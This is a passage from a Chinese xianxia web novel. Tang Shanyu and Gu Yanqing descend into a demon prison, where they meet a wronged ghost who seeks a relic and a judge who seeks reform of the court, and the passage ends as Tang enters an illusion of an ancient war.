“确实,这些魔物虽然张狂但是很难损伤断恶庭半分……你是说……这些魔物里出现了一个会对断恶庭造成影响的家伙?”应悦曦点了点头,认同了李行川的话:“那怎么办?它是怎么从底部的层层阵法来到这里的?” “……” 众人沉默。 “所以还是再等等吧。” 一致认为,避之锋芒很有必要。 而被众人认为是厉害魔物的顾延清正带着唐山玉走迷宫,走几步遇到一个魔,斩了,遇到一个魅魔,幻化出某种模样,愣神一下后还是斩了。 “顾师伯,怎么还没到啊,这迷宫你就不能直接打穿墙壁过去吗?”唐山玉都走得有些无聊了,因为他压根不用动手,只用走就对了。 “……这样那些魔物也会出去得更快了。”顾延清提醒了一下,随后对着前方又是一剑:“快到了。” “哎,好吧。”唐山玉只能苦哈哈地走了。 终于,他们俩走到了入口那,站在入口那唐山玉可以感觉到其中的浓浓煞气,他抬起手挥了挥说:“我之前进去的时候也没那么感觉到啊。” “因为之前为了让这些煞气不影响人,都封印好了。”顾延清那么说着,然后给唐山玉一件清心用的法器:“接下来保持清醒,不要被它们所影响。” 冷玉入手,唐山玉感觉自己方才那有些浑浑噩噩的脑子确实好了不少,他点了点头就收起这块玉:“好。” 而在他们俩走进去后不久,叶玄洲一行人也等得差不多悄咪咪地往出口那走去。 就这样,两队人马擦肩而过。 …… 越往下,唐山玉越能感觉到那让人有些喘不过气的煞气,其中还有些许血腥味,轻飘飘,混在其中。 说起来也不知道付尘怎么样了,先前看他还是隔着个铁栏杆,现在这些魔物都往外跑,说明那关押用的铁栏杆已经失去了镇压咒文了。 不过为什么顾延清走那么快啊,他都要跟不上了。 “顾师伯,等等我啊!”唐山玉有些无奈,他只能选择跟上他,要是跟丢了事情可就大了。 “说起来,我在这里的一个狱友和我说了,这里曾经也这样混乱过,原因好像是一个小小的念魔?”唐山玉突然想起了付尘的话,感觉和现在还挺像的。 “念魔?我听说过。”顾延清点了点头,然后说:“它很弱小,就连你也可以轻易杀死它。” “但它也很强大,因为它会潜伏在人的体内,等待着那缺陷暴露出来的那一刻。” …… 顾延清顿了顿,将手里的剑转了过来,横在了这个唐山玉的脖颈处,他的眸色很淡,凛冽的剑气像刺骨的风雪那般围绕在他们的周身。 “你是谁?” …… “…顾延清人呢?” 唐山玉往后退了一步,有些震惊地看着那分明是顾延清身体,但是脸却长满了眼睛,那一双双眼睛就那么直勾勾地看了过来,看得人毛骨悚然。 …… 而魔所具有的缺陷足够念魔完全将其控制住。 所以念魔可以很弱,同样也能很强。 第269章 正义属于天下人 那张满是眼睛的脸望过来的时候唐山玉是有点怂的,除了因为顾延清不见没有安心感,可能还有点密集恐惧症……若说是恐惧不可名状物也是有的。 唐山玉哈了一声,当即举起剑,在那东西面前一挥而去,下一刻,他转身就跑,丝毫不拖泥带水,生怕自己跑不掉那般。 那东西显然没有想到唐山玉转身得如此利索,它愣了一下,在回过神来后便化作了一摊泥水,泥水咕噜咕噜地扭动着,然后朝着唐山玉离开的方向流动而去。 唐山玉正跑着,突地拐了个弯,然后两三步蹦到了旁边的墙壁上,本来想用剑插在上面稳住身形,但奈何自己实力不够,剑在断恶庭的滑了一下就让人往下跌去。 唐山玉:…… 他默默转头,看到那粘稠的黑泥还在追着自己,这压根不用再想其他方法了,三二一跑为上策。 唐山玉再次撒腿就跑,一路生风,而那黑泥似乎掌握了唐山玉的速度,正不紧不慢地跟在后头。 唐山玉能说什么呢,他只能说自己没有顾延清在好像个待宰羔羊,又是一个滑铲而过,就在他还在急速奔跑的时候,突地,他停了下来。 不是因为自己体力不支,而是那黑泥突然不追了,并且还非常警惕地逗留在不远处,唐山玉眼睁睁看着它在那头蠕动蠕动的,都不敢过来。 这种情况下唐山玉当然不可能觉得自己突然间实力突飞猛进到对方害怕的地步了,而且他也没有感觉到顾延清在附近,如果在的话,以顾延清那性子是不会不过来的。 所以,眼下只有一种可能,那就是这里有个让这黑泥非常忌惮的东西存在。 而现在,唐山玉需要做出选择了。 是要后退一步去和那黑泥玩速度与激情,还是往前一步走向不知名的深渊。 …… “哈……”唐山玉在这种情况下还笑了一声,毕竟这选择很明显了不是吗?他直接就站在这里一动不动,择中。 黑泥不敢上前,后边的深渊也不用非要亲自过去。 两全其美啊两全其美。 就在唐山玉准备喜滋滋地等着顾延清找过来的时候,突地,他背后一寒,不知哪里燃起了三把青火,青火宛若鬼魅游行那般悠然地飘在了唐山玉面前。 而那黑泥在看到这青火后更为恐惧了,它直接往后缩了缩,生怕染上其半分。 “…什么意思?不会是想要让我进去的意思吧?”唐山玉顿了顿,露出一抹礼貌的笑容:“这不合适吧?” 那青火摇了摇身子,似乎是某人在无奈地摇头。 唐山玉:…… “先说好,不能对我动手动脚。”唐山玉无比警惕地提着建议,尽管他大概明白就算真的要对他动手动脚他应该也拦不住。 那青火没动。 但唐山玉懂了,要是再不过去就真的要动手动脚了。 唐山玉只能窝窝囊囊地去了,过去后他就发现这里无比阴冷,冷得人直搓手臂,煞气也更为浓郁,身上的玉也因为这煞气开始抖动了起来,甚至开始变红发烫。 “……”唐山玉走了一会儿就不肯走了,总觉得再往里走就危险了,他笑了笑开口道:“就这里吧,有事吗?” 那前路的青火顿了顿,然后颇为无奈地幻化出一个人形:“就这点路就不行了吗?现在的年轻人可真够弱的。” “是的,我弱我骄傲,还请您怜惜我。”唐山玉毫不犹豫地承认自己的弱小,而他在那人形青火出来后就握紧了手上的剑几分。 “罢了。”那青火似是妥协了,轻笑着说:“你身上有我熟悉的人的气息,所以才唤你来。” “我认识的人很多,你说哪个?”唐山玉开始翻找起自己的人脉,这个看看那边瞅瞅,按年龄排下去他选择把顾延清排第一位,所以他先问顾延清:“你是说顾延清吗?” “噢!他也在这里吗?好巧啊。”那青火人形有些惊讶,声音也带上几分雀跃:“好久没见了,也不知人怎么样了。” “当上宗主了。”唐山玉想了想然后回答道:“不是他?那还能是……” “是他也挺好的。”那青火人形咯咯笑了一下,然后说:“这么说起来,你是他的徒弟了?” 唐山玉:…… “不,我师父叫秦兰时。” “哦——秦兰时啊……什么?秦兰时吗?”那青火人形抖了抖,像是有些不敢置信:“看着不像啊。” “是说气质吗?我师祖曾经也那么说过,但是没有人规定师徒要很像吧。”唐山玉耸了耸肩,心里是一松的,看上去好像对他没有恶意:“…那么,前辈又是为何在这里呢?我好像从付尘前辈那里听说过你。” 如果他猜对青火的话。 “哦——你还认识审判官大人啊!你认识的人好多啊!这样就一点也不弱了嘛!”那青火人形特别意外地晃了晃,然后笑着说:“毕竟人脉也是实力的一种。” “……那前辈寻我是为了什么事?”唐山玉觉得再这样叙旧下去主线就提不上日程了,于是他决定再次提问。 那青火前辈笑了笑说:“如今断恶庭已不能镇压群魔,而那念魔就是极好的例子,因不似当年,所以恶意藏于人们的心头。” “因念而生,以念为食,念魔若不是它那利用恶意纯粹地做坏事,我们也不会将其冠之为魔,本名为念,却因生了魔心,所以才唤其为念魔。” “我寻你,是有事相求。” 那青火前辈特地用了个求字。 “那你又为何在这里呢?”唐山玉轻声问着,似是怕惊扰什么:“而且气息还和这些魔物差不多,甚至更为……” 让人惧怕。 “我已死去,因冤屈化作怨鬼,久留在此多年,故而成了凶煞……”那青火前辈似乎在思考能够让唐山玉理解的词汇,随后他笑着说:“有什么能比惧怕更能镇住这些东西的存在呢?” “……”唐山玉愣了一下,然后拱手一礼:“那前辈,如今又是……?” “压不住了呗,个个都有脾气啦,还有那念魔激发了它们的凶性,那么多一起来我也是遭不住……”青火前辈的声音听上去虚虚的,他在唐山玉面前摆了摆手,一副很无奈的模样: “你身上那股子潮湿味,你去过最底层了?” “我去完好些天了!”唐山玉一脸惊恐地拿起一片衣袖闻了闻:“居然还有味道吗!!不应该啊,我每天都有偷偷摸摸用除尘术清理自己的。” “哈哈,我是灵力上的,毕竟那地方煞气重,就连我就去都瘆得慌。”那青火前辈也是一个勇于承认自己弱的家伙:“但是……我不是说了吗,断恶庭要压不住它们了…你还能再去一次吗?” “……把我当牛马使啊。”唐山玉眼神逐渐深邃,然后抱住自己作可怜状:“能不能怜惜我一点呢?” “…哈哈,这个时候我倒是明白为什么你是秦兰时的徒弟了。”那青火前辈抖了抖好几下,笑出声:“哈哈!你们这种人还是那么有意思啊!” “……去那里做什么?”唐山玉等人笑完才问的。 “…去寻一个东西,我能感受到它在那里,而那个东西同时也让那些魔物们畏惧,我不是说了吗?畏惧是最好镇压这些魔物的东西。” “……”唐山玉怎么感觉好像绕回了他主线任务了,还以为开了个支线,谁知道这还是个主线:“啊,神明的眼睛?” “咦,你居然知道,看来你人脉不错嘛……”那青火前辈抬手鼓了鼓掌,似乎在夸奖唐山玉:“是的,能让这些魔物恐惧的力量,自然也能让我镇压住这些魔物,我需要得到它。” 成为让它们最为恐惧之物,然后将它们压在最深处,让自己和它们一起永不见天日。 “可是那个东西只是个残余力量,真正做到能够镇压魔物的是人。”唐山玉给他解释了一番自己看过的金咒还有锁链:“那不过是借助罢了。” “我明白。”那青火前辈笑嘻嘻地说,他摇晃着身形,然后伸出手指轻轻触碰了唐山玉的额头:“我当然明白……” 刹那间,一股流动的水将远方的场景带到了唐山玉的眼前,他好似来到了一个封闭的空间,而在这里,他看到了一个身上捆着无数锁链的男人端坐在高台上,金咒围绕着他的全身,青火在四周燃动着,旋转着,底下是流淌黑水…… 仅仅只是一眼,唐山玉就感觉到其中的窒息,他连忙往后退了一步,试图将自己剥离开来。 “……呼…呼…”唐山玉捂住胸口喘着气,似乎还没有回过神来。 “哈哈!我当然知道能够镇压魔物的是人,我不就在其一?”那青火前辈又笑了,只见他开心地拍了个掌,似乎在为吓到唐山玉而开心:“只不过现在有点不太行了,需要你帮帮忙,去把那力量取回来给我,让我借助一下。” “…我知道了。“唐山玉颇为无奈,突地,他像是想起什么问道:“那前辈你被冤枉而自刎的事情是真的吗?” “是真的。”那青火前辈叹了口气:“或许你们认为我年轻气盛?受不了委屈?是,也不是。” “当初的确是有些气性在里头,但是更多的却是想起若我这等冤屈可以唤来断恶庭某些人的清醒,那我这死亡或许也算是有点意义?” 在当年,断恶庭的那场混乱里,那个少年举着剑,御着长风,三青火燃在左右,利刃所过,鬼魅惨叫,魔物溃散而逃,衣摆飘飘,尽显张狂。 在事后,那断恶庭却污其名,说那魔物混乱是他进去后引起的,在当时,知道真相的人或许有很多,其中就有少年救下的,也有与少年并肩作战的。 可满堂座下,唯有一人发言,那就是少年最初的审判官付尘,他声嘶力竭站在审判台上,抬起头,仰望着高处的那看不清神情上层审判官,他们的实权更大,说话的份量也比他足。 为何无人敢言,只因那山高难以企及。 断恶庭之所以要将这个罪名按死在少年身上,是为了自己的名声,倘若外边的人知道断恶庭因内部自身发生过魔物动乱,那么修仙界的众人又怎能放心把这些魔物交由他们看管呢? 他们可没有忘记,断恶庭是因何而生,为困住魔,杀死魔,同样也有为了审判魔。 “当初那好像是非死不可,要么不干不净死,我不如清清白白地死。” 于是少年举起剑,自刎于审判台前,他的所作所为仿佛在嘲弄着什么,若要把性命交于这等人之手,不如自我了断。 鲜血溅在台上,像雪里的红梅,刺目得让人移不开视线。 在那之后,付尘作为少年最初的审判官就自认为罪人,辞去断恶庭审判官一职,转身走进罪恶的牢笼里,因为他认为自己已非正义。 …… 但,他也并未放弃正义。 “还请尊者帮我。”付尘朝着顾延清跪下,行了重重一礼,他抬起头看向顾延清,一字一句地说:“摧毁这座断恶庭,然后建立新的断恶庭。” “因为正义一言并非断恶庭所独有。” 正义理应属于天下人。 第270章 请求 将剑指于自己,把命握在自己手里。 这是你的命,你理应自己掌握。 少年救魔族的时候没有犹豫,救付尘还有那些对他恶言恶语的审判官们没有犹豫,平息混乱也是,就连举起剑自刎也是如此。 但少年是在什么时候犹豫的呢? 在死亡前的那一刻,他看到了付尘那崩溃的神情,好似一直以来信仰的东西彻底崩塌那般。 好像做得偏激了些,其实还能再等等的,方式再缓和些会不会更好呢? 毕竟那个审判官的确是个不错的人。 最后的最后,少年死不瞑目地离开了这个世界,成为了一只怨鬼,本就因冤枉而死的他自然感受到这断恶庭内煞气,出于本能,他走入其中,成为了其中的魔。 怨恨企图把自己的意识吞噬,煞气所带来的杀戮欲望想要让自己变得像魔物一样失去神志,只会杀戮。 但是少年觉得这不对,于是他就和往常冲锋陷阵那般燃起了独属于他的青火,火的光芒映着自己丑陋的鬼骨。 那鬼骨似乎终于看清了什么那般,那皮肉渐渐浮现于鬼骨上,骨头里长出了血肉,嘴角的笑也渐渐流露出来,而那双明亮的眸子在黑暗里眨了眨。 “是人是鬼又如何呢?”少年那么说着,然后大笑着让自己作为这群魔惧怕的存在,那周身的煞气好似在说你敢动就死了那样。 当然,断恶庭不可能对此毫无所觉,而少年也在其中琢磨出这金咒和锁链的用处,所以他并未抗拒,反正他只要存在于这里,就足以威慑群魔。 而这个少年名为……… “许一笑。” “我能感觉到他的冤魂许在断恶庭内徘徊,我作为他的审判官理应还他一份清白,理应将断恶庭的罪告之于众。”付尘继续说着,虽跪于地上,但身形挺拔如松。 顾延清直问了:“那你认为新的断恶庭理应是何种模样?” “……按照仙史所记载,断恶庭在最初是由众人一同建立的,而那些人来自四方,所属各派…”付尘说到这里眼神十分之坚定,他轻呼出一口气:“所以,我想拜托尊者号召各个门派的弟子前来,让他们成为断恶庭的新审判官。” 这种时候顾延清莫名想起唐山玉曾经问过他的话:“顾师伯,为什么你们就这样让断恶庭一家独大,这显然很不对啊。” “断恶庭是那场大战结束后,人们在混乱中首次建立起的秩序。”顾延清给唐山玉解释着,他拿出书本翻开给唐山玉看:“正因如此,它才能作为公正的化身而存在。” “懂了,因为是先例。”唐山玉好像明白这是首次开发的专利效应,不过他还是觉得不对:“但现在的断恶庭很显然妨碍到很多人吧?” “……”顾延清没有回答唐山玉的这番话。 “正义这种权利可不能专属啊,但是同样也不能没有。”唐山玉笑嘻嘻地说着,他将那本书拿起来晃了晃,仰头一看,发丝顺着肩膀他这个举动慢悠悠地滑了下去:“正因不能唯一,所以需要……” “制衡。” 如果各门各派的人都参与到断恶庭的建设里来,那么估计会形成一种局面,大门派独树一枝,小门小派有可能扎堆成组,也有一些小门派投入到大宗门的怀抱。 这还只是门派中人的情况,那没有门派的人呢……他们不可能不顾及,毕竟为了那所谓的公平,这些人理应也有一席之地,不然就显得他们这些门派之人太过高傲了。 其中妖族自然也是参与其中,毕竟妖族与人族还是合作关系呢。 “我明白了。”顾延清点了点头,然后抬起手将付尘于地上扶起:“不必如此,此事于万众有利,我会回去召集各个门派前来议事的。” 身为第一宗门的随清宗自然有这个权利。 “…多谢尊者。” “好了,你该说明一下现在到底是什么情况了?你在这里很熟悉吧?能找到山玉在哪里么?”顾延清话头一转,开始准备处理起目前的问题来。 “正如尊者所见,断恶修已经压制不住魔物,那些魔物渴求着外部的灵力正不断地往上爬。”付尘叹了口气,然后继续说着:“当然,这也是那个魔物所造出的势。” “念魔为何要造这样的势?”顾延清没有问念魔为何能造出这样的势,关于已经发生的问题,现在问没有必要,最重要的是解决方法:“断恶庭之人的念还不够它吃吗?” “或许也有其一,但是被关进这牢狱里,又有谁不想出去呢?”付尘笑了一下:“在失去自由后,曾经的自由就显得更难能可贵。” “我知道了,现在最重要的是将这些魔物重新镇压于塔底。”顾延清自然能够感觉到这里魔物的凶残和多,有些还是当初那场大战残留之物:“所以,山玉呢?” “尊者,这个我真的不知道啊,许是又去水底了吧。”付尘只见过那个叫唐山玉的人类偷偷摸摸去下边,于是他想了想说:“他上次就在那里寻了好一会儿东西,但是因为没有寻到就走了。” “……不,这次不是他主动走的。” “就算不是主动走的,但是如果产生了趁乱薅点羊毛的想法估计都会再次过去看看的吧。”付尘看着眼前虽然神色淡淡,但是实际上做好了把断恶庭打破找人的尊者,他决定挺身而出,因为断恶庭的人内部虽然坏了,但是建筑物是无辜的,而且这些材质可是当年好不容易收集来的,对关押魔物很有用的。 唐山玉是那种薅羊毛的人吗? 顾延清陷入了沉思。 然后他点了点头。 是的,唐山玉是这种人。 “好,接下来你要去做什么?”顾延清大致是明白了,不明白的出去再问就行,现在他的目标很明确,找人和把魔物给镇压。 “…我打算先出去,寻当年的那些人。”付尘再次俯身行了一礼:“顺便召集他们做好重新镇压群魔的准备,到了,此事还请尊者再助一次我。” “说。”顾延清略微颔首。 “当年建立断恶庭的庭主留下了一柄剑,此剑是他留于我们这些后人的最后一步棋,许有再次镇压群魔的作用,但如何用我们却是没有琢磨出来,但是作为剑道第一人的您,或许可以。” “剑在哪?”顾延清再次点头应下。 “此物可寻之。”付尘递上了一条剑穗,那剑穗做工精致,蓝玉上雕刻着漂亮的游龙花纹,不细看似是一滴透亮的水,清澈纯粹。 “嗯。”顾延清接了过去,他一入手就往里输送着灵力,紧接着,他的眼前出现了一条清晰的灵线,指引着他接下来的方向:“那我就先走一步了。” 说完,也不等付尘的回应,转身就走,而付尘看着他的背影,看着那些煞气在靠近顾延清的刹那就被驱散干净,化作了点点碎灵。 “柳鹤,目前的局面我很满意,那么你获得了你想要的东西了吗?”付尘转过头去,看向了某处。 柳鹤的身形在煞气间浮现,他背手而立,眼里含笑:“算是吧,不过有些东西是在我意料之外的……” “是什么?”付尘有些好奇。 “我没有想到这个神明的眼睛传说原来是真的。”柳鹤干笑了一声。 付尘:…… “你原先不是和我说要拜托他帮忙找这个东西吗?”付尘觉得人类果然善于骗蛇,就像这个家伙一样,还有那个唐山玉感觉也是鬼话连篇。 “我只是想要人过来和我见见面而已。”柳鹤耸了耸肩:“但是那太明显了,所以我就随便编了个理由去见他,也不知道他信没信。” “如果他装作信了,那么估计是可以的意思吧?反正你们之间的哑谜我懒得管,接下来你也该走了吧。”付尘定了定神,然后继续看着柳鹤:“借助念魔的力量留在此处的你只是一缕执念,那阵法是我教你画的,而你也如愿地留下了什么。” “所以,你该走了,再停留在此,你会变得和那些东西一样,到那个时候,我会将你除去。”付尘说着,那熟悉的骨鞭再次握于手上,身上的金咒也随之若隐若现。 “我还是有点舍不得。”柳鹤说着,倒是有些感伤了起来:“好可惜,我还想再见长乐姐姐一面呢。” “……情情爱爱的确容易让人变成求不得的怨鬼,莫要再执着了,你还是快些去吧,下辈子不要再谈了。”付尘停顿了一下,选择语气委婉地劝说着柳鹤。 “…闭嘴,那是我亲姐。” “那你还是念着走吧。” …… 唐山玉再次出现在水里,这一次只有他一个人,现在水里的魔物少了不少,可能是都争先恐后地想要往上爬的缘故吧。 这种时候他就开始想念游泳快的付尘了,只见唐山玉肢体不是很协调地在水里动啊动的。 看,这是非常常见的蛙泳。 看,这是非常用力的自由泳。 看,这个仰泳好像在水里没什么用。 看,这个蝶泳让人看着像蟑螂乱窜。 但是唐山的拼尽全力后发现有一条大鱼快速地在自己身边游了过去,那刮起的水流好似狠狠扇了唐山玉一巴掌那样,唐山玉也确切地感受到了,于是他的方向偏了个彻底,怎么都调不回去。 而在他要调回去的时候,又是一条鱼游过去,直直把唐山玉扇得在水里转了几个圈,跳了个水底芭蕾。 于是,唐山玉放弃了,只见他双手平放于胸口,闭上眼,开始在水里自由地飘了起来。 …… 人生啊,果然就这样吧。 第271章 是故人啊 当然,唐山玉并没有飘多久,聪明的人类怎么能不想出另一个法子来让自己继续前进呢。 只见他坐在鱼背上,手上扯着一条不知道哪里顺过来的锁链,正在绑在鱼头那里,锁链上闪着金咒,只需要输入灵力就会有效,至于效果…… 只见那鱼不安分地一个扭头,唐山玉就笑眯眯地输送了灵力,那一刻,鱼头一顿,似乎因为这金咒吃了点苦头,于是只能按照唐山玉所行的方向前进。 唐山玉一边往前去一边在识海里抽那个小火苗:“你醒醒,你醒醒,你快感应一下那个力量在哪。” 小火苗被抽得一愣二愣的,当即就叫了起来:“谁允许你这样抽我的!!!” 喊完后它来了第三愣:“咦?我怎么醒过来了。” “对啊,你怎么醒过来了。”唐山玉也是吃惊,他都抽了好久了,从出发抽到现在,这个小火苗才发出复活的声音。 “那就说明那股力量近了。”小火苗突地严肃了一下,然后晃啊晃的:“我看看,在哪里……” “在哪里……”唐山玉跟着严肃起来,然后在外边用锁链控制住大鱼让它停下来不要再往前走了,这里空空荡荡,什么也没有,只有一个大石头与海草们一起站在地上,海草们左右摇摆着,给大石头跳着舞。 “嗯……” 唐山玉面露期待。 “嗯………” 唐山玉眨了眨眼,继续期待。 “嗯……………” 唐山玉笑了一下,然后在识海里继续拿出灵力在小火苗清醒的时候又抽了一下。 “…啊啊!你干嘛!”小火苗又叫了起来:“我可是你的救命恩人!!” 这个时候唐山玉终于想起自己死过的事情,但是很快他又想起自己变成金丹后和这个火签了个劳动合同后,又觉得稍微理所应当:“你不救我,上哪找我这个冤大头。” “你居然发现自己是冤大头!!”小火苗大吃一惊,没想到这个人类如此聪明伶俐。 唐山玉:…… “是的,我很习惯当冤大头。”唐山玉淡淡一笑,其中的笑容似乎有着不少辛酸泪:“如果可以,我也不想当冤大头,但是实力不是很允许。” “那你就和我一起做大做强啊!”那小火苗继续试图让唐山玉和它一起海阔天空:“只要跟了我,你就会有强大的力量……” “不要,和你一起创业代价很严重。”唐山玉笑了笑然后说:“光是用那黑石造你的那个剑就已经………” 说到这里,唐山玉一顿,他抬起头看了不远处的大石头:“莫不是远在天边,近在眼前?” “此话怎讲?”小火苗适时接上这个话。 “试试就逝世。”唐山玉眼神顿时犀利了起来,随后他操控着大鱼往那边的石头上撞去,大鱼自然不肯,它还没有冤大头到这种地步,于是唐山玉略施小计,借用它那个挣扎的惯性,毫不留情地让鱼撞上了石头。 在撞上后,这冲击水波把唐山玉整个人掀翻了过去,只见人就再次胡乱地在水里游了几下,并且努力地往这边游了过来。 那鱼撞大石头后脑袋一晕,直接肚子翻白地飘在了一旁,唐山玉看了一眼,一点怜惜之意都没有地往被撞破的大石头那一游。 那石头被大鱼这样一撞已经裂开了,露出了一道缝隙,唐山玉游过去就这样透过这个缝隙往里一看,空空如也,漆黑一片,就像他此时此刻失望的心情那样。 “什么也没有……”唐山玉失望地想要往后退去,但在那一瞬间,一只黑色鬼手伸出来抓住了唐山玉的脖子,就这样用力一扯,唐山玉顿时脸色涨红。 “不是,呃呃?怎么还有陷阱的!!”唐山玉奋力挣扎,奈何对方的实力过于强劲,就在唐山玉要被扯下去的时候,不知道什么时候出现的顾延清伸出手拉住了他。 唐山玉看到顾延清的时候心安了下来,可下一刻,顾延清看了看那个裂缝,似乎愣了一下,随后他就卸了力道。 唐山玉:? 手还是拉着的,但是顾延清也被这个力道拉得一起往下而去,就这样,俩人双双坠入了缝隙间,霎时间,无数的鬼手涌了出来,将唐山玉的视野所包裹。 …… 苏醒过来的时候,唐山玉先感觉到的是震动的地面,抬起头,一道道黑影自空中飞过,细看似乎某种怪鸟,这种鸟有三个头,六个翅膀,形状怪异,瞪圆的眼珠子看上去无比骇人。 天空的确震撼,但为什么地面在震动。 唐山玉坐了起来,看了看自己的手脚齐不齐全,很好,都在,于是他开始站起来左右张望,入目的是不远处翻涌过来的魔兽潮。 很好,他知道为什么地面会震了。 是顾延清执意要进来的,那个顾延清呢?? 唐山玉无力地怒了一下,然后张嘴就要喊人,下一刻,有人着急地喊道:“喂!你怎么傻傻地站在这里不动!!快过来!!!” 就这样,弱小的唐山玉再次被人拽走了,并且还被扛在肩膀上轰轰隆隆地震着,震得唐山玉胃里头翻江倒海。 唐山玉并不知道现在是什么情况,但是他好像来到了一个庞大的幻境里头,甚至他还能触碰到实体。 …… 所以顾延清人呢? 那个该死的松了力道的顾延清呢? 他不会原谅这个顾延清,在顾延清找到他之前,他都不会原谅的。 气极的唐山玉想了又想,决定要当一个冷漠无情的人和顾延清赌气。 就在这时候,扛着他的人脚步一转,唰的一下带着他爬上了高高的大石头,而兽潮也在这个时候越过这大石头往前方继续涌去。 “你是怎么会出现在那个地方的?明明在引兽潮之前我都确认过没有人在。”那个人将唐山玉放了下来,然后抱臂看着唐山玉:“你是哪个宗门的弟子?” 唐山玉刚想回答是随清宗,但是在看到人的长相后他顿时说不出话来,因为他看到的人是苏岭月,那个建立了天下第一宗的宗主,当之无愧的天下第一。 他师父的师父,一剑万里冰的寒岳天尊。 “师…………”唐山玉张嘴就要喊师祖,可随之而来的他感觉到某种心颤,好像有什么在阻止他:“……死掉了!我差点死掉了!谢谢你!” “不客气,所以你是哪家宗门的?”苏岭月点了点头,垂下眸的他似乎在思考什么。 唐山玉抽空看了一眼自己身上的衣着,进来前他就是穿着随清宗弟子衣服,如今也是,不过现在可能应该没有随清宗…… “我不是宗门弟子,我是散养的修士。”唐山玉张口就来,然后嘿嘿一笑:“前辈!你呢!” “好巧,我也是散修。”苏岭月此时此刻束着高马尾,看起来少年气十足,他穿着利落的衣服,腰间除了挂着一把剑还有一壶酒:“那么你是怎么出现在那里的?我之前分明没有察觉到有其他人的气息,差一点你就要被兽潮给吞了。” “这个,因为我有法宝,至于为什么在那里,因为我迷路了。”唐山玉干笑了几声,继续胡编乱造。 “哦——我知道了,你是西边派来中心帮忙的修士吧。”苏岭月想了想,居然给唐山玉给圆上了,也不知是不是幻境故意为之的缘故:“跟我来,我们营地在那边,因为四周布了法阵所以不好找。” “啊,谢谢。”唐山玉依言跟上,这迅速的跟让苏岭月回头看了人一眼。 “…怎么了?”唐山玉继续露出清澈愚蠢的眼神。 “…无事。”苏岭月低低应了一声,然后继续往前走。 唐山玉笑了笑,然后在心里想着苏岭月怕是起疑了,方才的几次试探唐山玉都不好接住,因为他确实对现在的情况不是很熟,所以他就这样随意地让苏岭月起疑了。 他的确可以编点其他借口糊弄过去,不过现在唐山玉有点懒。 因为要是编了其他借口了,苏岭月怕是直接会让他自己在这里等兽潮结束,然后人就先跑了。 因为苏岭月曾经说过,不可过分对人有过多的善心,帮到差不多就可以了。 而且…… 唐山玉走上前问:“前辈叫什么名字?我叫唐山玉。” “苏岭月。”苏岭月略微颔首,然后有点高冷地说:“喊我苏道友就好了,我们还没有那么熟。” “好的呀,苏道友。”唐山玉笑了一下,不知道他想到了什么,开始贼兮兮地问:“那我努力一点点话,我们能称兄道弟吗?” “嗯?你想和我交好?”苏岭月转头看了过去。 “对啊,你长得好看,实力还那么厉害,我想和你交好不是很正常吗?”唐山玉咳了一声,开始夸起了苏岭月:“你就是我的恩人啊!苏道友!” “咳咳,我的确那么厉害……好了,我知道了,等我带你回营地再说吧。”苏岭月被夸得略微不好意思,他矜持地拍了拍唐山玉的肩膀:“下次可不要那么迷路了,唐道友。” 还是无比坚决要带人回营地确认身份呢?这就是天下第一人的谨慎吗?明白了。 唐山玉点了点头:“好啊好啊。” …… 与此同时,顾延清正坐在石头墩子上,他正盘腿坐着,剑则放在腿上,剑刃映着顾延清此时此刻闭目的神情。 四周是一地的魔物尸体,它们都被切得整整齐齐地撒落在地上,风吹动着树上的叶子,零零落落地飘在地上,其中有一片落在了顾延清的剑上。 顾延清睁开眼,指尖微按了一下剑身使之倾斜,方才那片叶子也因此而脱离了剑,老老实实地落在了地上。 他垂下眸,看着剑,剑身映着他那平静的双眸。 在风吹着林子的叶间而过时,似有人在此处轻轻叹了一声: “师父。” 第272章 若闻当年 “小唐啊,这里是你要睡觉的地方。”苏岭月带着人来到了营地确认了身份就把人带到帐篷里头。 没有想到这个幻境居然给他安好身份的唐山玉乖乖巧巧地点了点头。 不过想想也是,都阻止他喊人师祖了,给他捏造个身份防止这个幻境正常运行也实属正常。 唐山玉来到帐篷里头观察一下四周,发现非常普通,没什么不同,不过修仙用的帐篷上都画好了阵法,这是来自修仙界的防御工作。 “有什么缺的?”苏岭月拨了几下帐篷门口的风铃,里头散发着非常纯粹的灵力气息。 “没有。”唐山玉看了一圈,发现很周全,该有都有了,不该有的就没有,很正规的帐篷,很正规的一个军团。 他的确听说过那场屠魔大战苏岭月也是在其中出力过的,但是他好像并不是最厉害的,主战场里更为厉害的还有其他人。 “对了,苏道友,我刚来中心不是很熟悉,你来给我说说呗。”唐山玉决定了解一下情况再做打算,于是他盯上了这里唯一的熟面孔苏岭月。 “我不是很有空……”苏岭月张嘴就想要拒绝。 可唐山玉不给他拒绝的机会,当机立断地蹲下来,抱住苏岭月的大长腿,面无表情地叫:“求求你了,苏前辈,我在这里只认识你啊。” 一声前辈,一生前辈。 苏岭月浑身抖了几下,接着他矜持地来到椅子那坐下,而唐山玉也非常适时地拿出旁边的茶壶给苏岭月倒水。 还是个半大小子呢。 唐山玉悄咪咪地这样想。 这种时候的苏岭月可没有他所认识的那样沉稳……当然,遇到秦兰时的苏岭月也没有那么沉稳,但在外人眼里的确沉稳得滴水不漏。 “那你应该知道我们这里主战吧,是宁长鸣和晏明心,他们可谓是天资极佳,是少有天才,宁长鸣前辈手持长枪,烈枪可震天地,晏明心前辈手持长剑,剑鸣可问苍穹。”苏岭月说起他们的时候可谓是满眼敬意,说着,他感觉一阵口干舌燥,是兴奋的,于是喝了一口手里的茶。 “听说过。”唐山玉想了想,书籍里记载过他们的存在,据说这一男一女镇守在主战场,并肩作战,手上收割了不少魔物的头颅,可是在后来的一次战役里双双殒命。 而那场战役也是最为残酷的一场,地点在酒马坡,也称酒马坡战役。 “当然,不只是他们,还有李意岚,贺平风,辛如龟………”苏岭月给唐山玉说起了其他人,而唐山玉记忆并没有那么好,后边的有些他记得,有些他不记得。 但有一点唐山玉很清楚,就是苏岭月所念的名字里,并没有活下来的人,不然放到至今都是赫赫有名的大能。 “他们当真有那么厉害?”唐山玉问道。 “当真!当真!真得不能再真,刚好明日有一场大战,到那个时候,我带你看个明白!”苏岭月说着,把杯里的茶一饮而尽,像喝酒似的,唐山玉在这人身上看到几分秦兰时的影子。 该说不愧是师徒吗? 唐山玉略微沉默了一下,难怪每个人见到他都觉得不像秦兰时的弟子,是因为他没那么豪迈吗? …不对,顾延清不也是苏岭月的弟子。 唐山玉摇了摇头,把脑子里的想法抛出去,然后继续问:“明日在哪里大战?” “酒马坡。”苏岭月笑了笑。 唐山玉:……? 上来就王炸? 